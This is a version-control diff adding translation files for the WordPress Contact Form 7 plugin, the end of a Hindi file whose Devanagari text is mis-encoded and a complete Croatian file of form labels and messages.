+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à¥­"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "à€µà¥à€à€²à¥à€ªà€¿à€"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "à€à¥à€ à€à€€à¥à€ªà€šà¥à€š à€à€°à¥à€"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "à€ªà€Ÿà€ à¥à€¯ à€à¥à€·à¥à€€à¥à€° "
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "à€à€ªà€€à¥à€° à€à¥à€·à¥à€€à¥à€°"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "à€ªà€Ÿà€ à¥à€¯ à€à¥à€·à¥à€€à¥à€° "
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "à€šà¥à€à¥ à€à€¿à€°à€à¥ à€Šà€¿à€à€šà¥ à€µà€Ÿà€²à¥ à€µà€¿à€à€²à¥à€ª à€žà¥à€à¥"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "à€šà€¿à€¶à€Ÿà€š à€ªà¥à€à¥"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "à€°à¥à€¡à€¿à€¯à¥ à€¬à€à€š"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "à€žà€¹à€®à€€à€¿ (à€žà¥à€µà¥à€à¥à€€à€¿)"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "à€à€ž à€šà€¿à€¶à€Ÿà€š à€ªà¥à€à¥ à€®à¥à€ à€ªà€¹à€²à¥ à€žà¥ à€¹à¥ à€šà€¿à€¶à€Ÿà€š à€²à€à€Ÿ à€à¥ à€°à€à¥à€?"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "à€à€ž à€šà€¿à€¶à€Ÿà€š à€ªà¥à€à¥ à€žà¥ à€à€²à¥à€à¥ à€žà¥ (à€ªà¥à€°à€€à€¿à€²à¥à€®) à€à€Ÿà€® à€à€°à€µà€Ÿà€¯à¥à€?"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* à€à€žà€à€Ÿ à€®à€€à€²à€¬ à€¹à¥ à€à€¿ à€à€à€à€€à¥à€ à€à€¿à€šà¥à€¹à¥à€à€šà¥ à€¶à€°à¥à€€à¥à€ à€žà¥à€µà¥à€à€Ÿà€°à¥ à€¥à¥ à€à€šà¥à€¹à¥à€à€šà¥ à€à€ž à€ªà€° à€²à€à€Ÿ à€à€à€à€Ÿ à€¹à€à€Ÿà€¯à€Ÿ à€¹à¥."
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "à€à¥à€ªà¥à€à€Ÿ (CAPTCHA)"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "à€­à¥à€à€šà¥ (à€žà€¬à€®à€¿à€) à€à¥ à€²à€¿à€¯à¥ à€¬à€à€š"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "à€šà€Ÿà€®"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "à€
+à€ªà¥à€à¥à€·à€¿à€€ à€à¥à€·à¥à€€à¥à€°"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "à€¬à€¹à¥à€µà€¿à€à€²à¥à€ª à€à¥à€šà€šà¥ à€Šà¥à€?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "à€à€ à€à€Ÿà€²à¥ à€µà€¿à€·à€¯ (à€à¥à€) à€ªà€¹à€²à¥ à€µà€¿à€à€²à¥à€ª à€à¥ à€°à¥à€ª à€®à¥à€ à€¡à€Ÿà€²à¥à€?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "à€à¥à€¯à€Ÿ à€šà€¿à€¶à€Ÿà€š à€ªà¥à€à¥ à€
+à€²à€ à€žà¥ à€¬à€šà€Ÿà€¯à¥à€?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "à€
+à€šà¥à€¯ à€µà€¿à€à€²à¥à€ª"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "à€à€¿à€ªà¥à€ªà¥ (à€žà¥à€à€ à€ªà€€à¥à€°)"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "à€ªà€¹à€²à¥ à€žà¥ à€€à€¯à€¶à¥à€Šà€Ÿ à€à¥à€£"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "à€à€à¥à€žà€¿à€®à¥à€ (Akismet)"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "à€¯à€¹à€Ÿà€ à€²à¥à€à€ à€à€Ÿ à€šà€Ÿà€® à€à€°à¥à€°à¥ (à€
+à€ªà¥à€à¥à€·à€¿à€€) à€¹à¥"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "à€¯à€¹à€Ÿà€ à€²à¥à€à€ à€à€Ÿ à€¯à¥ à€à€° à€à€² (à€µà¥à€¬ à€ªà€€à€Ÿ) à€à€°à¥à€°à¥ (à€
+à€ªà¥à€à¥à€·à€¿à€€) à€¹à¥"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "à€¯à€¹à€Ÿà€ à€²à¥à€à€ à€à€Ÿ à€à€ªà€€à¥à€° à€ªà€€à€Ÿ à€à€°à¥à€°à¥ (à€
+à€ªà¥à€à¥à€·à€¿à€€) à€¹à¥"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "à€à€ž à€à¥à€ (à€à¥à€¡) à€à¥ à€šà€à€² (à€ªà¥à€°à€€à€¿à€²à€¿à€ªà€¿) à€à€°à€à¥ à€ªà¥à€°à€ªà€€à¥à€° à€®à¥à€ à€à€¿à€ªà€à€Ÿà€¯à¥à€"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "à€
+à€à¥à€°à€­à€Ÿà€ à€à¥ à€²à€¿à€¯à¥ à€°à€à€ "
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "à€ªà¥à€·à¥à€à€­à¥à€®à€¿ (à€ªà€°à€¿à€ªà¥à€°à¥à€à¥à€·à¥à€¯) à€à¥ à€²à€¿à€¯à¥ à€°à€à€ "
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "à€€à€žà¥à€µà¥à€° (à€ªà¥à€°à€€à€¿à€¬à€¿à€à€¬) à€à€Ÿ à€à€à€Ÿà€° "
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "à€à¥à€à€Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "à€®à€§à¥à€¯à€® (à€®à€à¥à€²à€Ÿ)"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "à€¬à€¡à€Œà€Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "à€€à€žà¥à€µà¥à€° (à€ªà¥à€°à€€à€¿à€¬à€¿à€à€¬) à€
+à€šà¥à€à¥à€²à€š "
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "à€šà€¿à€µà¥à€¶ à€žà¥à€¥à€Ÿà€š (à€à¥à€·à¥à€€à¥à€°) à€
+à€šà¥à€à¥à€²à€š "
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "à€€à€žà¥à€µà¥à€° (à€ªà¥à€°à€€à€¿à€¬à€¿à€à€¬) à€à¥ à€²à€¿à€¯à¥"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "à€šà€¿à€µà¥à€¶ à€žà¥à€¥à€Ÿà€š (à€à¥à€·à¥à€€à¥à€°) à€à¥ à€²à€¿à€¯à¥"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* à€à€ à€ªà€à€à¥à€€à€¿ à€ªà€° à€à€ à€¹à¥ à€ªà€žà€à€Š."
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à€¬à€šà€Ÿ à€Šà€¿à€¯à€Ÿ à€à€¯à€Ÿ à€¹à¥."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à€žà¥à€°à€à¥à€·à€¿à€€ à€°à€ à€Šà€¿à€¯à€Ÿ à€à€¯à€Ÿ à€¹à¥."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à€®à€¿à€à€Ÿ à€Šà€¿à€¯à€Ÿ à€à€¯à€Ÿ à€¹à¥."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "à€¶à¥à€°à¥à€·à€ à€°à€¹à€¿à€€ "
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "à€à€ªà€à€Ÿ à€šà€Ÿà€®"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(à€à€°à¥à€°à¥ [à€
+à€ªà¥à€à¥à€·à€¿à€€])"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "à€à€ªà€à€Ÿ à€à€ªà€€à¥à€° à€ªà€€à€Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "à€µà€¿à€·à€¯"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "à€à€ªà€à€Ÿ à€žà€à€Šà¥à€¶"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "à€­à¥à€à€šà€Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "à€à€ªà€à€Ÿ à€žà€à€Šà¥à€¶ à€žà€«à€²à€€à€Ÿà€ªà¥à€°à¥à€µà€ à€­à¥à€ à€Šà€¿à€¯à€Ÿ à€à€¯à€Ÿ, à€§à€šà¥à€¯à€µà€Ÿà€Š"
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "à€à€ªà€à€Ÿ à€žà€à€Šà¥à€¶ à€šà€¹à¥ à€­à¥à€ à€ªà€Ÿà€¯à¥. à€à¥à€ªà¥à€¯à€Ÿ à€Šà¥à€¬à€Ÿà€°à€Ÿ à€à¥à€¶à€¿à€¶ à€à€°à¥à€ à€¯à€Ÿ à€«à€¿à€° à€à€¿à€žà¥ à€Šà¥à€žà€°à¥ à€€à€°à¥à€à¥ à€žà¥ à€ªà¥à€°à€¬à€à€§à€ à€žà¥ à€žà€à€ªà€°à¥à€ à€à€°à¥à€."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "à€ªà¥à€°à€®à€Ÿà€£à¥à€à€°à€£ à€à€°à€šà¥ à€®à¥à€ à€à€²à€€à€¿à€¯à€Ÿà€ à€à€¯à¥à€, à€à¥à€ªà¥à€¯à€Ÿ à€Šà¥à€¬à€Ÿà€°à€Ÿ à€à€Ÿà€à€ à€à¥ à€«à€¿à€° à€žà¥ à€¬à€à€š à€ªà€° à€à€à€à€Ÿ (à€žà€¬à€®à€¿à€) à€²à€à€Ÿà€¯à¥à€."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "à€à€à¥ à€à€Ÿà€šà¥ à€à¥ à€²à€¿à€¯à¥ à€à¥à€ªà¥à€¯à€Ÿ à€¶à€°à¥à€€à¥à€ à€žà¥à€µà¥à€à€Ÿà€°à¥à€."
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "à€à€ªà€€à¥à€° à€à€Ÿ à€ªà€€à€Ÿ à€
+à€®à€Ÿà€šà¥à€¯ (à€à€²à€€) à€ªà¥à€°à€€à¥à€€ à€¹à¥à€€à€Ÿ à€¹à¥."
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "à€à¥à€ªà¥à€¯à€Ÿ à€
+à€ªà¥à€à¥à€·à€¿à€€ à€à¥à€·à¥à€€à¥à€° à€­à€°à¥à€."
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "à€à€ªà€à¥ à€Šà¥à€µà€Ÿà€°à€Ÿ à€²à€¿à€à€Ÿ à€à€¯à€Ÿ à€à¥à€ (à€à¥à€¡) à€à€²à€€ à€¹à¥."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "à€šà€¯à€Ÿ à€à¥à€¡à€Œà¥à€"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "à€à€ž à€à¥à€ (à€à¥à€¡) à€à¥ à€šà€à€² (à€ªà¥à€°à€€à€¿à€²à€¿à€ªà€¿) à€à€°à€à¥ à€ªà¥à€°à€µà€¿à€·à¥à€à€¿ à€à¥ à€
+à€à€¶ à€®à¥à€ à€à€¿à€ªà€à€Ÿà€¯à¥à€."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "à€ªà¥à€°à€ªà€€à¥à€° (à€«à€Ÿà€°à¥à€®)"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "à€à€¿à€à¥à€ à¥-à€ªà€€à¥à€°à¥ "
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "à€à€¿à€žà€à¥:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "à€à€¿à€žà€à¥ à€à€° à€žà¥:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "à€µà€¿à€·à€¯:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "à€žà€à€Šà¥à€¶ à€²à€¿à€à€šà¥ à€à¥ à€à€à€¹:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "à€à€¿à€à¥à€ à¥-à€ªà€€à¥à€°à¥ (à¥š)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "à€à€¿à€à¥à€ à¥-à€ªà€€à¥à€°à¥ (à¥š) à€à€ªà€¯à¥à€ à€®à¥à€ à€²à€Ÿà€¯à¥à€"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "à€žà¥à€°à€à¥à€·à€¿à€€ à€à€°à¥à€"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "à€à€ž à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à€à¥ à€®à€¿à€à€Ÿà€¯à¥à€"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"à€à€ª à€à€ž à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° à€à¥ à€¡à€¿à€²à¥à€ à€à€°à€šà¥ à€¹à¥ à€µà€Ÿà€²à¥ à€¹à¥à€. \n"
+" à€¡à€¿à€²à¥à€ à€šà€¹à¥ à€à€°à€šà¥ à€à¥ à€²à€¿à€¯à¥ à€°à€Šà¥à€Š à€à€°à¥à€, à€¡à€¿à€²à¥à€ à€à€°à€šà¥ à€à¥ à€²à€¿à€¯à¥ à€à€à¥ à€Šà€¬à€Ÿà€¯à¥à€"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hr.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hr.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hr.po	(revision 44)
@@ -0,0 +1,427 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form | V1.2\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-03 16:40+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: tolingo <info@tolingo.com>\n"
+"Language-Team: Ivan Graf\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Croatian\n"
+"X-Poedit-Country: GERMANY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "Kontaktni obrazac"
+
+#: contact-form-7/wp-contact-form-7.php:582
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "optional"
+msgstr "opcionalni"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Generate Tag"
+msgstr "Proizvodna oznaka"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Text field"
+msgstr "Tekstovno polje"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Email field"
+msgstr "Email polje"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Text area"
+msgstr "Tekstovno podruÄje"
+
+#: contact-form-7/wp-contact-form-7.php:610
+msgid "Drop-down menu"
+msgstr "PadajuÄi izbornik"
+
+#: contact-form-7/wp-contact-form-7.php:611
+msgid "Checkboxes"
+msgstr "Okviri za izbor"
+
+#: contact-form-7/wp-contact-form-7.php:612
+msgid "Radio buttons"
+msgstr "Radio gumb"
+
+#: contact-form-7/wp-contact-form-7.php:613
+msgid "Acceptance"
+msgstr "PrihvaÄanje"
+
+#: contact-form-7/wp-contact-form-7.php:614
+msgid "Make this checkbox checked by default?"
+msgstr "Standardna provjera okvira za izbor?"
+
+#: contact-form-7/wp-contact-form-7.php:615
+msgid "Make this checkbox work inversely?"
+msgstr "OmoguÄi da uÄitavanje datoteke iz nekog razloga radi obrnuto?"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* To znaÄi da posjetitelj koji prihvati uvjet, briÅ¡e oznaÄeni okvir."
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "CAPTCHA"
+msgstr "Captcha"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Quiz"
+msgstr "Test znanja"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Quizzes"
+msgstr "Testovi znanja"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* Kviz/Odgovor (Npr. 1+1=?/2)"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "File upload"
+msgstr "UÄitajte datoteku"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "bytes"
+msgstr "Bajtovi"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Submit button"
+msgstr "Gumb âPodnesiâ"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Name"
+msgstr "Ime"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Required field?"
+msgstr "Obavezno polje?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Allow multiple selections?"
+msgstr "Dopusti viÅ¡estruki odabir?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Insert a blank item as the first option?"
+msgstr "Unesi praznu stavku kao prvi izbor?"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Make checkboxes exclusive?"
+msgstr "IskljuÄi okvire za izbor ?"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Choices"
+msgstr "Opcije"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Label"
+msgstr "Oznaka"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Default value"
+msgstr "Standardna vrijednost"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "Akismet"
+msgstr "Askimet"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "This field requires author's name"
+msgstr "Ovo polje zahtijeva ime autora"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "This field requires author's URL"
+msgstr "Ovo polje zahtijeva autorov URL"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "This field requires author's email address"
+msgstr "Ovo polje zahtijeva autorovu E-mail adresu"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopiraj ovaj kod i zalijepi ga u obrazac lijevo."
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Foreground color"
+msgstr "Boja prednjeg plana"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Background color"
+msgstr "Boja pozadine"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Image size"
+msgstr "VeliÄina slike"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Small"
+msgstr "Mala"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Medium"
+msgstr "Srednja"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Large"
+msgstr "Velika"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Image settings"
+msgstr "Slikovne postavke"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "Input field settings"
+msgstr "Postavke ulaznog polja"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "For image"
+msgstr "Za sliku"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "For input field"
+msgstr "Za ulazno polje"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "* One choice per line."
+msgstr "* Jedan izbor po redu."
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Show"
+msgstr "PrikaÅŸi"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "Hide"
+msgstr "Sakrij"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "File size limit"
+msgstr "OgraniÄenje veliÄine datoteke"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Acceptable file types"
+msgstr "Prihvatljivi tipovi datoteka"
+
+#: contact-form-7/wp-contact-form-7.php:677
+msgid "Contact form created."
+msgstr "Kreirani kontaktni obrazac."
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Contact form saved."
+msgstr "Spremljen kontakni obrazac."
+
+#: contact-form-7/wp-contact-form-7.php:683
+msgid "Contact form deleted."
+msgstr "Izbrisan kontankni obrazac."
+
+#: contact-form-7/wp-contact-form-7.php:694
+msgid "Untitled"
+msgstr "Bez naslova"
+
+#: contact-form-7/wp-contact-form-7.php:721
+msgid "Your Name"
+msgstr "VaÅ¡e ime"
+
+#: contact-form-7/wp-contact-form-7.php:721
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "(required)"
+msgstr "(obavezno)"
+
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "Your Email"
+msgstr "VaÅ¡ Email"
+
+#: contact-form-7/wp-contact-form-7.php:725
+msgid "Subject"
+msgstr "Predmet"
+
+#: contact-form-7/wp-contact-form-7.php:727
+msgid "Your Message"
+msgstr "VaÅ¡a Poruka"
+
+#: contact-form-7/wp-contact-form-7.php:729
+#: contact-form-7/wp-contact-form-7.php:1458
+msgid "Send"
+msgstr "PoÅ¡alji"
+
+#: contact-form-7/wp-contact-form-7.php:783
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡a poruka je uspjeÅ¡no poslana. Hvala."
+
+#: contact-form-7/wp-contact-form-7.php:785
+#: contact-form-7/wp-contact-form-7.php:787
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "VaÅ¡a poruka nije poslana. Molimo pokuÅ¡ajte kasnije ili kontaktirajte administratora na drugi naÄin."
+
+#: contact-form-7/wp-contact-form-7.php:789
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "GreÅ¡ka u valjanosti. Molimo ispitajte polja i ponovno dostavite."
+
+#: contact-form-7/wp-contact-form-7.php:791
+msgid "Please accept the terms to proceed."
+msgstr "Molimo prihvatite uvjete za nastavak."
+
+#: contact-form-7/wp-contact-form-7.php:793
+msgid "Email address seems invalid."
+msgstr "Email adresa nije valjana."
+
+#: contact-form-7/wp-contact-form-7.php:795
+msgid "Please fill the required field."
+msgstr "Molimo popunite obvezno polje."
+
+#: contact-form-7/wp-contact-form-7.php:797
+msgid "Your entered code is incorrect."
+msgstr "Uneseni kod nije toÄan."
+
+#: contact-form-7/wp-contact-form-7.php:799
+msgid "Your answer is not correct."
+msgstr "VaÅ¡ odgovor nije toÄan."
+
+#: contact-form-7/wp-contact-form-7.php:801
+msgid "Failed to upload file."
+msgstr "Datoteka nije uÄitana."
+
+#: contact-form-7/wp-contact-form-7.php:803
+msgid "This file type is not allowed."
+msgstr "Tip datoteke nije odgovarajuÄi."
+
+#: contact-form-7/wp-contact-form-7.php:805
+msgid "This file is too large."
+msgstr "Ova datoteka je prevelika."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "Dodaj novu"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopiraj ovaj kod i zalijepi ga na sadrÅŸaj koji ÅŸeliÅ¡ poslati, stranicu ili tekst widget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:257
+msgid "Save"
+msgstr "Spremi"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "IzbriÅ¡i ovaj kontakt obrazac"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ovime se briÅ¡e kontaktni obrazac. \n"
+"'odustani' za prekid, 'OK' za brisanje."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Oblik"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Za:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Predmet:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "Dodatak:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Potreban WordPress 2.7 ili veÄi za koriÅ¡tenje ove moguÄnosti)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Koristite sadrÅŸaj HTML tipa"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Osnovni tekst poruke:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Koristi poÅ¡tu (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Poruke"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "PoÅ¡iljateljeva poruka je uspjeÅ¡no poslana"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "PoÅ¡iljateljeva poruka nije poslana"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet je procijenio slanje kao spamming"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "GreÅ¡ke valjanosti"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "Ovo polje mora biti ispunjen"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "Unesena Email adresa nije valjana"
+
